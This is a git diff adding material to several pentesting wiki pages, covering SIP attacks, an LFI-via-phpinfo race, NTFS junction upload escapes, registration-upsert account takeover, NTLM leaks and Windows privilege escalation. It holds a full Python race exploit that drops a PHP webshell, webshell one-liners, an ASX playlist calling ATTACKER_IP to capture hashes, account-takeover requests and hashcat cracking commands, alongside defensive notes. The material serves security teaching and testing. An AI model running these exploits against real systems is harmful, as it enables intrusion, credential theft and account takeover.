Validation workflow for kernel payloads
|
||||
- Use a symbolized vmlinux for fast reversing/offset recovery
|
||||
- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)
|
||||
|
||||
Hardening/Detection (blue team)
|
||||
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
|
||||
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
|
||||
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps
|
||||
|
||||
References
|
||||
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
|
||||
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
|
||||
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
|
||||
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
|
||||
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -101,6 +101,16 @@ This approach is useful for malware triage and JNI debugging where observing nat
|
||||
|
||||
---
|
||||
|
||||
### See also: in‑memory native code execution via JNI
|
||||
|
||||
A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here:
|
||||
|
||||
{{#ref}}
|
||||
in-memory-jni-shellcode-execution.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
### Recent vulnerabilities worth hunting for in APKs
|
||||
|
||||
| Year | CVE | Affected library | Notes |
|
||||
@ -133,5 +143,6 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -95,7 +95,7 @@ s=-
|
||||
c=IN IP4 pc33.example.com
|
||||
t=0 0
|
||||
m=audio 49170 RTP/AVP 0
|
||||
a=rtpmap:0 PCMU/8000te
|
||||
a=rtpmap:0 PCMU/8000
|
||||
```
|
||||
|
||||
<details>
|
||||
@ -151,8 +151,8 @@ This initial REGISTER message is sent by the UA (Alice) to the registrar server.
|
||||
|
||||
2. **401 Unauthorized** response from the registrar server:
|
||||
|
||||
```css
|
||||
cssCopy codeSIP/2.0 401 Unauthorized
|
||||
```
|
||||
SIP/2.0 401 Unauthorized
|
||||
Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776asdhds
|
||||
From: Alice <sip:alice@example.com>;tag=565656
|
||||
To: Alice <sip:alice@example.com>;tag=7878744
|
||||
@ -182,7 +182,7 @@ Content-Length: 0
|
||||
|
||||
The UA sends another REGISTER request, this time including the **"Authorization" header with the necessary credentials, such as the username, realm, nonce, and a response value** calculated using the provided information and the user's password.
|
||||
|
||||
This is how the **Authorizarion response** is calculated:
|
||||
This is how the **Authorization response** is calculated:
|
||||
|
||||
```python
|
||||
import hashlib
|
||||
@ -240,7 +240,89 @@ After the registrar server verifies the provided credentials, **it sends a "200
|
||||
> [!TIP]
|
||||
> It's not mentioned, but User B needs to have sent a **REGISTER message to Proxy 2** before he is able to receive calls.
|
||||
|
||||
|
||||
|
||||
---
|
||||
|
||||
## SIP Security and Pentesting Notes
|
||||
|
||||
This section adds practical, protocol-specific tips without duplicating the broader VoIP guidance. For end-to-end VoIP attacking methodology, tools and scenarios, see:
|
||||
|
||||
{{#ref}}
|
||||
../README.md
|
||||
{{#endref}}
|
||||
|
||||
### Fingerprinting and Discovery
|
||||
|
||||
- Send an OPTIONS request and review `Allow`, `Supported`, `Server` and `User-Agent` headers to fingerprint devices and stacks:
|
||||
|
||||
```bash
|
||||
# nmap NSE (UDP 5060 by default)
|
||||
sudo nmap -sU -p 5060 --script sip-methods <target>
|
||||
|
||||
# Minimal raw OPTIONS over UDP
|
||||
printf "OPTIONS sip:<target> SIP/2.0\r\nVia: SIP/2.0/UDP attacker;branch=z9\r\nFrom: <sip:probe@attacker>;tag=1\r\nTo: <sip:probe@<target>>\r\nCall-ID: 1@attacker\r\nCSeq: 1 OPTIONS\r\nMax-Forwards: 70\r\nContact: <sip:probe@attacker>\r\nContent-Length: 0\r\n\r\n" | nc -u -w 2 <target> 5060
|
||||
```
|
||||
|
||||
### Username/Extension Enumeration Behavior
|
||||
|
||||
- Enumeration typically abuses differences between `401/407` vs `404/403` on `REGISTER`/`INVITE`. Harden servers to reply uniformly.
|
||||
- Asterisk chan_sip: set `alwaysauthreject=yes` (general) to avoid disclosing valid users. In newer Asterisk (PJSIP), guest calling is disabled unless an `anonymous` endpoint is defined and similar "always auth reject" behavior is the default; still enforce network ACLs and fail2ban at the perimeter.
|
||||
|
||||
### SIP Digest Authentication: algorithms and cracking
|
||||
|
||||
- SIP commonly uses HTTP-Digest style auth. Historically MD5 (and MD5-sess) are prevalent; newer stacks support SHA-256 and SHA-512/256 per RFC 8760. Prefer these stronger algorithms in modern deployments and disable MD5 when possible.
|
||||
- Offline cracking from a pcap is trivial for MD5 digests. After extracting the challenge/response, you can use hashcat mode 11400 (SIP digest, MD5):
|
||||
|
||||
```bash
|
||||
# Example hash format (single line)
|
||||
# username:realm:method:uri:nonce:cnonce:nc:qop:response
|
||||
echo 'alice:example.com:REGISTER:sip:example.com:abcdef:11223344:00000001:auth:65a8e2285879283831b664bd8b7f14d4' > sip.hash
|
||||
|
||||
# Crack with a wordlist
|
||||
hashcat -a 0 -m 11400 sip.hash /path/to/wordlist.txt
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> RFC 8760 defines SHA-256 and SHA-512/256 for HTTP Digest (used by SIP). Adoption is uneven; ensure your tools handle these when targeting modern PBXs.
|
||||
|
||||
### SIP over TLS (SIPS) and over WebSockets
|
||||
|
||||
- Signaling encryption:
|
||||
- `sips:` URIs and TCP/TLS typically on 5061. Verify certificate validation on endpoints; many accept self-signed or wildcard certs, enabling MitM in weak deployments.
|
||||
- WebRTC softphones often use SIP over WebSocket per RFC 7118 (`ws://` or `wss://`). If the PBX exposes WSS, test authentication and CORS, and ensure rate limits are enforced on the HTTP front end as well.
|
||||
|
||||
### DoS quick checks (protocol level)
|
||||
|
||||
- Flooding INVITE, REGISTER or malformed messages can exhaust transaction processing.
|
||||
- Simple rate-limiting example for UDP/5060 (Linux iptables hashlimit):
|
||||
|
||||
```bash
|
||||
# Limit new SIP packets from a single IP to 20/s with burst 40
|
||||
iptables -A INPUT -p udp --dport 5060 -m hashlimit \
|
||||
--hashlimit-name SIP --hashlimit 20/second --hashlimit-burst 40 \
|
||||
--hashlimit-mode srcip -j ACCEPT
|
||||
iptables -A INPUT -p udp --dport 5060 -j DROP
|
||||
```
|
||||
|
||||
### Recent, relevant SIP-stack CVE to watch (Asterisk PJSIP)
|
||||
|
||||
- CVE-2024-35190 (published May 17, 2024): In specific Asterisk releases, `res_pjsip_endpoint_identifier_ip` could misidentify unauthorized SIP requests as a local endpoint, potentially enabling unauthorized actions or information exposure. Fixed in 18.23.1, 20.8.1 and 21.3.1. Validate your PBX version when testing and report responsibly.
|
||||
|
||||
### Hardening checklist (SIP-specific)
|
||||
|
||||
- Prefer TLS for signaling and SRTP/DTLS-SRTP for media; disable cleartext where feasible.
|
||||
- Enforce strong passwords and digest algorithms (SHA-256/512-256 where supported; avoid MD5).
|
||||
- For Asterisk:
|
||||
- chan_sip: `alwaysauthreject=yes`, `allowguest=no`, per-endpoint `permit`/`deny` CIDR ACLs.
|
||||
- PJSIP: do not create an `anonymous` endpoint unless needed; enforce endpoint `acl`/`media_acl`; enable fail2ban or equivalent.
|
||||
- Topology hiding on SIP proxies (e.g., outbound proxy/edge SBC) to reduce information leakage.
|
||||
- Strict `OPTIONS` handling and rate limits; disable unused methods (e.g., `MESSAGE`, `PUBLISH`) if not required.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- RFC 8760 – Using SHA-256 and SHA-512/256 for HTTP Digest (applies to SIP Digest too): https://www.rfc-editor.org/rfc/rfc8760
|
||||
- Asterisk GHSA advisory for CVE-2024-35190: https://github.com/asterisk/asterisk/security/advisories/GHSA-qqxj-v78h-hrf9
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -611,10 +611,6 @@ Detection and mitigations
|
||||
|
||||
## **References**
|
||||
|
||||
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
|
||||
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
|
||||
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
|
||||
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
|
@ -2,60 +2,163 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo() is displayed, "file_uploads = on" and the server has to be able to write in the "/tmp" directory.**
|
||||
To exploit this technique you need all of the following:
|
||||
- A reachable page that prints phpinfo() output.
|
||||
- A Local File Inclusion (LFI) primitive you control (e.g., include/require on user input).
|
||||
- PHP file uploads enabled (file_uploads = On). Any PHP script will accept RFC1867 multipart uploads and create a temporary file for each uploaded part.
|
||||
- The PHP worker must be able to write to the configured upload_tmp_dir (or default system temp directory) and your LFI must be able to include that path.
|
||||
|
||||
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
Classic write-up and original PoC:
|
||||
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
|
||||
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
|
||||
|
||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
|
||||
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
|
||||
|
||||
You need to fix the exploit (change **=>** for **=>**). To do so you can do:
|
||||
Notes about the original PoC
|
||||
- The phpinfo() output is HTML-encoded, so the "=>" arrow often appears as "=>". If you reuse legacy scripts, ensure they search for both encodings when parsing the _FILES[tmp_name] value.
|
||||
- You must adapt the payload (your PHP code), REQ1 (the request to the phpinfo() endpoint including padding), and LFIREQ (the request to your LFI sink). Some targets don’t need a null-byte (%00) terminator and modern PHP versions won’t honor it. Adjust the LFIREQ accordingly to the vulnerable sink.
|
||||
|
||||
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
|
||||
```
|
||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
|
||||
```
|
||||
|
||||
You have to change also the **payload** at the beginning of the exploit (for a php-rev-shell for example), the **REQ1** (this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), and **LFIREQ** (this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char)
|
||||
|
||||
{{#file}}
|
||||
LFI-With-PHPInfo-Assistance.pdf
|
||||
{{#endfile}}
|
||||
|
||||
### Theory
|
||||
## Theory
|
||||
|
||||
If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.
|
||||
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
|
||||
- The trick is to learn the temporary name and include it via your LFI before PHP cleans it up. phpinfo() prints $_FILES, including tmp_name.
|
||||
- By inflating request headers/parameters (padding) you can cause early chunks of phpinfo() output to be flushed to the client before the request finishes, so you can read tmp_name while the temp file still exists and then immediately hit the LFI with that path.
|
||||
|
||||
Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.
|
||||
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
|
||||
|
||||
In **Windows** the files are usually stored in **C:\Windows\temp\php**
|
||||
## Attack workflow (step by step)
|
||||
|
||||
In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig()**".
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** (using big headers) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo() to be returned** (where the name of the temporary file is) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.
|
||||
|
||||
**Python script to try to bruteforce the name (if length = 6)**
|
||||
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
1) Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
|
||||
```
|
||||
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
|
||||
```
|
||||
|
||||
2) Send a large multipart POST directly to the phpinfo() page so it creates a temp file that contains your payload. Inflate various headers/cookies/params with ~5–10KB of padding to encourage early output. Make sure the form field name matches what you’ll parse in $_FILES.
|
||||
|
||||
3) While the phpinfo() response is still streaming, parse the partial body to extract $_FILES['<field>']['tmp_name'] (HTML-encoded). As soon as you have the full absolute path (e.g., /tmp/php3Fz9aB), fire your LFI to include that path. If the include() executes the temp file before it is deleted, your payload runs and drops /tmp/.p.php.
|
||||
|
||||
4) Use the dropped file: GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) to execute commands reliably.
|
||||
|
||||
> Tips
|
||||
> - Use multiple concurrent workers to increase your chances of winning the race.
|
||||
> - Padding placement that commonly helps: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Tune per target.
|
||||
> - If the vulnerable sink appends an extension (e.g., .php), you don’t need a null byte; include() will execute PHP regardless of the temp file extension.
|
||||
|
||||
## Minimal Python 3 PoC (socket-based)
|
||||
|
||||
The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import re, html, socket, threading
|
||||
|
||||
HOST = 'target.local'
|
||||
PORT = 80
|
||||
PHPSCRIPT = '/phpinfo.php'
|
||||
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
|
||||
THREADS = 10
|
||||
|
||||
PAYLOAD = (
|
||||
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
|
||||
)
|
||||
BOUND = '---------------------------7dbff1ded0714'
|
||||
PADDING = 'A' * 6000
|
||||
REQ1_DATA = (f"{BOUND}\r\n"
|
||||
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
|
||||
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
|
||||
|
||||
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
|
||||
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
|
||||
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
|
||||
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
|
||||
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
|
||||
|
||||
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
|
||||
|
||||
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
|
||||
|
||||
|
||||
def race_once():
|
||||
s1 = socket.socket()
|
||||
s2 = socket.socket()
|
||||
s1.connect((HOST, PORT))
|
||||
s2.connect((HOST, PORT))
|
||||
s1.sendall(REQ1.encode())
|
||||
buf = b''
|
||||
tmp = None
|
||||
while True:
|
||||
chunk = s1.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
buf += chunk
|
||||
m = pat.search(html.unescape(buf.decode(errors='ignore')))
|
||||
if m:
|
||||
tmp = m.group(1)
|
||||
break
|
||||
ok = False
|
||||
if tmp:
|
||||
req = (LFI % tmp).encode() % HOST.encode()
|
||||
s2.sendall(req)
|
||||
r = s2.recv(4096)
|
||||
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
|
||||
s1.close(); s2.close()
|
||||
return ok
|
||||
|
||||
if __name__ == '__main__':
|
||||
hit = False
|
||||
def worker():
|
||||
nonlocal_hit = False
|
||||
while not hit and not nonlocal_hit:
|
||||
nonlocal_hit = race_once()
|
||||
if nonlocal_hit:
|
||||
print('[+] Won the race, payload dropped as /tmp/.p.php')
|
||||
exit(0)
|
||||
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
|
||||
[t.start() for t in ts]
|
||||
[t.join() for t in ts]
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
|
||||
- Output doesn’t flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers won’t flush until larger thresholds; adjust accordingly.
|
||||
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
|
||||
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
|
||||
|
||||
## Defensive notes
|
||||
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
|
||||
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
|
||||
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
|
||||
|
||||
## Related HackTricks techniques
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## References
|
||||
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
|
||||
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -241,6 +241,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
### Escaping upload directory via NTFS junctions (Windows)
|
||||
|
||||
(For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads\<id>\) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code.
|
||||
|
||||
Example flow to redirect uploads into XAMPP webroot:
|
||||
|
||||
```cmd
|
||||
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
|
||||
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
|
||||
:: 2) Remove the created folder and create a junction to webroot
|
||||
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
|
||||
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
|
||||
|
||||
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
|
||||
:: Minimal PHP webshell for testing
|
||||
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
|
||||
|
||||
:: 4) Trigger
|
||||
curl "http://TARGET/shell.php?cmd=whoami"
|
||||
```
|
||||
|
||||
Notes
|
||||
- mklink /J creates an NTFS directory junction (reparse point). The web server’s account must follow the junction and have write permission in the destination.
|
||||
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
|
||||
- Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
|
||||
|
||||
## Tools
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
@ -426,5 +453,7 @@ How to avoid file type detections by uploading a valid JSON file even if not all
|
||||
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -178,8 +178,33 @@ JSON Web Token might be used to authenticate an user.
|
||||
hacking-jwt-json-web-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
## Registration-as-Reset (Upsert on Existing Email)
|
||||
|
||||
Some signup handlers perform an upsert when the provided email already exists. If the endpoint accepts a minimal body with an email and password and does not enforce ownership verification, sending the victim's email will overwrite their password pre-auth.
|
||||
|
||||
- Discovery: harvest endpoint names from bundled JS (or mobile app traffic), then fuzz base paths like /parents/application/v4/admin/FUZZ using ffuf/dirsearch.
|
||||
- Method hints: a GET returning messages like "Only POST request is allowed." often indicates the correct verb and that a JSON body is expected.
|
||||
- Minimal body observed in the wild:
|
||||
|
||||
```json
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
|
||||
Example PoC:
|
||||
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
|
||||
Impact: Full Account Takeover (ATO) without any reset token, OTP, or email verification.
|
||||
|
||||
## References
|
||||
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -287,10 +287,25 @@ Mitigations:
|
||||
- Never expose skipOldPwdCheck paths to unauthenticated users; enforce authentication for regular password changes and verify the old password.
|
||||
- Invalidate all active sessions and reset tokens after a password change.
|
||||
|
||||
## Registration-as-Password-Reset (Upsert on Existing Email)
|
||||
|
||||
Some applications implement the signup handler as an upsert. If the email already exists, the handler silently updates the user record instead of rejecting the request. When the registration endpoint accepts a minimal JSON body with an existing email and a new password, it effectively becomes a pre-auth password reset without any ownership verification allowing full account takeover.
|
||||
|
||||
Pre-auth ATO PoC (overwriting an existing user's password):
|
||||
|
||||
```http
|
||||
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||
Host: www.target.tld
|
||||
Content-Type: application/json
|
||||
|
||||
{"email":"victim@example.com","password":"New@12345"}
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -4,6 +4,33 @@
|
||||
|
||||
**Check all the great ideas from [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) from the download of a microsoft word file online to the ntlm leaks source: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md and [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Windows Media Player playlists (.ASX/.WAX)
|
||||
|
||||
If you can get a target to open or preview a Windows Media Player playlist you control, you can leak Net‑NTLMv2 by pointing the entry to a UNC path. WMP will attempt to fetch the referenced media over SMB and will authenticate implicitly.
|
||||
|
||||
Example payload:
|
||||
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
|
||||
Collection and cracking flow:
|
||||
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
|
||||
### ZIP-embedded .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
Windows Explorer insecurely handles .library-ms files when they are opened directly from within a ZIP archive. If the library definition points to a remote UNC path (e.g., \\attacker\share), simply browsing/launching the .library-ms inside the ZIP causes Explorer to enumerate the UNC and emit NTLM authentication to the attacker. This yields a NetNTLMv2 that can be cracked offline or potentially relayed.
|
||||
@ -38,8 +65,8 @@ Operational steps
|
||||
|
||||
## References
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
@ -37,6 +37,7 @@ whoami /priv | findstr /i impersonate
|
||||
|
||||
Operational notes:
|
||||
|
||||
- If your shell runs under a restricted token lacking SeImpersonatePrivilege (common for Local Service/Network Service in some contexts), regain the account’s default privileges using FullPowers, then run a Potato. Example: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- PrintSpoofer needs the Print Spooler service running and reachable over the local RPC endpoint (spoolss). In hardened environments where Spooler is disabled post-PrintNightmare, prefer RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
